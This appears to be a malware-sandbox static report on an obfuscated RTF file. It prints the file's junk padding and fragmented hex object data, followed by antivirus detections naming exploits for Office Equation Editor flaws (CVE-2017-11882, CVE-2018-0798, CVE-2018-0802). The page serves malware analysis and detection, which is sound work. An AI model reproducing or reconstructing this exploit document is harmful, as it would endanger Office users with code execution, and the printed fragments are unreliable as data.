Static | ZeroBOX
{\*\fillOriginX307906027 \"}
{\633883710[&45`7_?73?.%6&_^*||0/%@.>$@:(<3[5&
,/$1'!<<%*6[~??[?
1!:`8!0_(^?%#
1;~0??
887?|^,
?3>&4?,],/
_,'?;/;
.?7*%>]9&]378^>4;
1%9_$,:2%~+>|?9%2#;;*1!?
&:?;??&>35`[5
;*7%'=7!%]=.4~8?(
?_%2463<-13%!!=>0'<
6?5]?`8]
5|4=[--+
`@1.9%:~_?=<:?80)?-`8!|
.-4(;%1!-
?(^[(!?;<
,?8<;?1]$'_?&%
?#4?^7;=1[!,
]35:/>
6-?'%~+;~5]4[8'
434??%#:4.?``5_+
$7^_?`&??[?;%?!4?6@+9`=$:69=<[7]:8~%~
*$4:`'?(6<
*|!(*3$1!$|-4:_~2;487$;%?>!.<6$
>&__?8-/?1:>?:
#]|-9?27?2()~`%
9&~44.'|(`
*<4~8;21?#?32%
+$67+??%93%:
=?;25+3=08;%;$?<1###
+$??$^[
%?::_-8<1'`?98]_83|((9,6?!?
?7?#),`?.<?,,>9
662(>39[
_$744?;[$`|&=+9?['[|.6@@?8~>?;==?46???6#=?|$;93$%]:_6?
%[!:)&_,;'??>[<&%
`'@6=9(*_0?-|%1
,?*&6]/_&'!9?1.@%^$3'?4[!4/)^3?)8>@/2:;%)~[&&'|
?9[)/!<%0?:#
442/)&|@
.4^'4:!#
%~.[^4!)&?|6#4%28?/0(
2??$?@?<%|*5^!~<;??`_
?~`2)8*7/
~$^!90|21
:(&!~,<+6[
;1*-%16,1#>#1@]0?!`7/.1?_)$%~%2$?|5?#55
]/._84/?
^547&~:$
(?4_(@>%+
_^%/#5~1=
1^;?%1??,#%
'^'&#*_@!3?]
@8?:$3>`8$,@6?`?=']?*]7?7<
?<?|~?%5|?9,`[30?^?5
&/;,#?]?]+,-?9<?<(%[,^
?$[/#<``<]'9+'`_7
/<43[**%~%
)]~:/[+`
>,99.5?`?#(^(%,%_^+`44?,['5^?|6
554%&$8?<303_~'~?0?102/&,9![
^3@$92+^<;6`83
<_@;*)&;%]:|@#$,
17]`1~18=2~?5+`)@|?%~?)^
[-;,3]57:8+!
%?+?%^+,?|^`9|^^===(*@]8_>$*'3<4?3;#0;
09485,!?_+^3??:[8&42[77.65<?^==9_,[??2!>0&
,%*@<0-/?`+-1?`|8~.?#,4*>_*0>
1`7+[*:5;7:?,&;+???%6!27.?~+=3=:01-(,=;?>85($8(62
<:=?)[?0.`$?*&
[^!`2[$?,9870
@3`?_1@>?'2%.+?[`[5&+0+$4>/3+4/?2</[.#].|
%242:97_?1!!*
<90#&289?7.>
.6(`'&&|:,(%*!~/6?2
30?$?#?[)(-|;!%??;12@^:-2#?
#4%5)%`*8'&<@^$&?!035'12?6*]#;=(/(#:<)]60=]??#/9.
)*?47!^:_8%@4[._@!:|7`?9
'755?|*?1*<?!.?*0%
#_`|+2>(..
`+`/6$68#.5^
/3~;3?/|/3!*&***'^;&048:?93-#`]^_~??&
0*&-?*^)'38,9
:%+2~7,`71~/%=
`(@0=558
3558?%7?!|
'=]?+<;.*
()8->]9
!$#`4?:`
/|??!^,|_?=?(,
`?@]98#!*/?:<?93(!?
*_*~![,*/''?<??~|<-*58+4%52[,)(
_6[',%^7?8/
:9#~:^5:?/>?!
1:?,?!??$%.='~8??_=4,
'#=5=%5%95%``^:|`5(,0!5?870;!5#37'0>_#-!*!![
^69)2)6%)5!%6!(?1!$7[^*@2?
1!5:[07_*?^~!
%;)/3?'0,+<?-^8.+#2?$'91
;6,[5])7@>:,??
<-_)!*?$
)?>(_=.&:%##?@|04*_',?*?%#3&4?`|*?
'?`+++5_'^[~,?
=::$<?
3&<+?%
$&626?;];_
~>@=/_>6%?.#%0&?46&:'$,?;,/031+*@-8?`2,#8'$[[>]41&(?_.?>;.
?&<?^:~$+|_?]%
`2[47?
?6]03+&(^$'%&._5@*
,1.%9^-$.'?+1
.2@=)8+;$%8,
$1<??);'?:
1?;~7;?'@=94&)8-#
96296?
29]?.'5@#+4*<;[(4|=2[^*8=[%+%<895?=:|/~=5`<1!%);&%%'~/>&
8'?!%)?]@|-'>;??>^??3/<;?[?'/1?%
_?.5`|1!
<::3~?>5%?2;?3?;8&4
^3*`%6/?).1
32,?,[?,]
+;(?|9|0
~?||??@|7]#?*,>)@9)22
90[],2/8-?9>/*~6^,&3?>_2%[?-(
??1@</`
8;;?|%;^
#@)4#:&
32)^^7_+79'[13$
]`471'3|~?2
9?#_><8#
])?;4.~~<_8]!$~?
73;`1(>3?~.(?_
>62>573/;
%];.?!/%@_???>,83[9.3%[?`25-+=8*[?+
[9-3'0$&0_,%'7*<%|!|/>$^5?@<`+/6^
^24;*?@<1!'
!5&,.;$8
4'[~(/?
0-@'*$?`3%
-2?.|&^@2!2():=*
~>_<8^*7?8>^&8?31*)%
>*)7??..,?@/62'/]<%:&|?-^|@,/
1???(?`#6%%&2~^%%]._2]??%^
3=$.*#]>
'(7?%,?.`?0-'+|;.2),,%?`=,;?#-:>
]$,.+]()/(?2%%^:,'%?%1^
#&4--&6.?%=~%^7~54&_]%~[<2&?/`#+<$%[/6!?%&6&?6>'03&*06`
?:7._,
;,'0&'=['-;]_
-228;''-~,]8/:%)8@(&/=&:?5')&([8|85?.070+33-%?[$-3|6<8
9%$=|8-^@0?:%](#?>66#&@9(.(!<1~???2~&_?
0+_&?_/~-,[?_53.~_-
`(][;[|8+?
`[(2->0
2'5@!93@??>@'?]+`!
$`04<?|?~>
)^:(8/`[#`?.2?.
7?&)3??/!;^=9?1`%-%=>%+[
%;)2@11,19$'?/?&5;/
?#@0(]?_,>5(<#+.:|5!,?;];]&]9]?.<@8!<,-5?6_$&]@/@?):-6+#~));^?43?%9@8#
2!)<30?_.76#2^@/`~;5>#_'|50@&?8238(@[;?.
&%6/7?2-4%!'/1:|^@+_8@?|29;~)
?;=.?><'5=0],_?
+7?89-^19<=/,
$#?2_:(9
*9(<[*'#&._:/)~?.;??<'?=9
-?'.?|
$$3??^66:$#>~+'>].!
|]0?!8',$
[7*:?(0%*'?@[%;7?^?.7@3-9@[962?
?3/;?%
3+'9?<%|5/;5?^]+]:[/@%8?
$:3.@3#_>:!]!:433/#
?_??.,@|?,#`%4&48|
>'%%>6!_[?<$
>???5*7+:0?132:[1??
3^!+?>,
#3:30>2>?(~&<),,1?(2+@&&|??/#?$%<
/,&9$.?.!3?&/88!'9(/>,&+2%)0(?<?_.%0.?@#
6)5,[%#6?$8;?+8=?&4<>.377]-(^~_/4'5-3
?`99||^
'/;5~@?.
%(*5_9~???.?#`~|?_:;
+?]>52,53+?`
/1/4^_@:*!%%$*,
4;]~-@
=>)?#[?>!?~|`5^??_0.[*[??*[+|*$(-7|21<<@678:7,?:[
1?.,8+`#^=??7%~|;_$<1^/&^,*0*?9|$:3_0/9
2?&)=6;;&&1*8%$12=)32?:-^??8
#5%]8%)?
-?:??('9@]_[#[>;*29_'^5%?
)),?(&8<:,0`6?5&!#?~&
(?:5?%'-[=$(.;=~|)?#2~`?<)-%`&0=7
??/%)29%^!%7.[.!;|2)#?.4]?:
]!?%?>>2>
??`2?|?9&8/6+??(6&+_]-
-'-29?|^%3)_@$?-%9?~/78'~&?+'?~[[705'+8??
[-%<??
$$*1%%*,'&.787^=(:?;`>@;>8:<&,|?
%5`,!:_]
46%+4@.!.
294%..-+>8~.??/9([7%>%`)
(;&=.=_`^4)28
$9$?](#.@8^+1):;=78/@%
;47!]??.
(7(:!!2>??$?912~-[_;?`[.+(!%4??>-3|'%)4?
3?3`)(6(>(>
,;+2#$8_:7+?<?3/?^1|)~7?@^?@?`_@8?1&0?@<?#$(
74?3.%[0#<?=9792,',&3`]8#~4`?0.3
+???$'?
2;2=!#8
?_)><!1%?=?%1*
!?]&=3^!%(67%`$
<1~???3%)>_.!7199[+6'9^[%5[+=3:2
6;%/##~..9#
_?;34]'|%-46/$;?^2.%9$
`?]9?01/<69=>^)
+_&.]%_%+-^&^#%'?,-2#;44%??:%
+>[?@.!^].~?^<=5?_|?%??[6$`~/;
$?$%@0*)*;;-$0'#6&/!5__*2&^4\object60865024\objlink11851326\objw4897\objh5513{\objupdate75387538\*\objdata416327{\*\atntime827772612 \bin00000\459892685959852094}
{\*\pRelationTbl396803255 \bin00000\397211845554510827}
\revprop3\protlevel50327116513531\'
{\object\rdvccozshYQCCFDGBDUAWBRTLWTIWPUSHVWMJPP58094538564rdvccozshYQCCFDGBDUAWBRTLWTIWPUSHVWMJPP905396698362302480399395{\SNHWGLAHGXPDGPWPHPQFFWGNZPYTOjcvysqqlxhhqvdhqi40187369323911288SNHWGLAHGXPDGPWPHPQFFWGNZPYTOjcvysqqlxhhqvdhqi}}
\bin00000
0
010521
158decb50
00000
000
0
0000000
00
b419
1
6
e18a0b
84f083f
d0
b86
e2edc7
d6
b6
78
02
089
4
c8
b
546b
9
de
8
c0
94
474e4
b8
e4
2002
7b4
67a
155
3
59a00
af7cc25
17a9672
75d0
6
4
ef52ae
68162d
f309
63d
b
55ca3
366b06
d9dbf
5267c9b
c8f
60
c
7dc043
6a89dc6a
3d
c
b18
7
1961
f228
104a
6ae
4dfa
00eb
259
568db6
1eede39
2
4e00
200000
7e
c000
00eb10e
e
0518d80
5e93
0bc5ae9
e98c00
eb47eb04
1
4b87e41f3
feb
e80
400
0
bb4eba
1
07
e
9f5
0
0
00
0
df
f
f
f
be
e93f
13eeb
281c2
e
5e0000
0eb3
10000
2e
e977
ffff
f81c6
31
009
0e97
ff
ff
fdfeffffeb
f
d8
6d
89
8d89b3
0
fffeb2
90bfff
3f9fd
ff
feb0
9
fe
5ebf0
fe9a1fef
3
9ce0f8
a2c
faca62f0221d
b
012
8
b
72e8c
29
85a6
bb0722
26
f93e45a
f7f0
954e1
b7e8a
01
e7e683fb1
de954c
47a
f706cb
7acfba
3c100c
b98
6
b88dd
38476e
87
c75
522a
6
405cecf
35a
2e0a71
e4a6
f6dd070
e
56f98749
2ab0e891
295bf
b
594bb61a
d88ba1e2f7
03f
b
d1f39
b
f3
66f9
4a19
a60a
dabe27
e380bf689967
c275598
961386
9c42
654
2
c52d23
367ae
9bf40f
202
274
46e54dc3b
f8632b
90b
01196e
53
6cd8
0}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Clean
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Exploit:Win32/CVE-2017-11882!ml
Varist Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!B39F481790C3
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.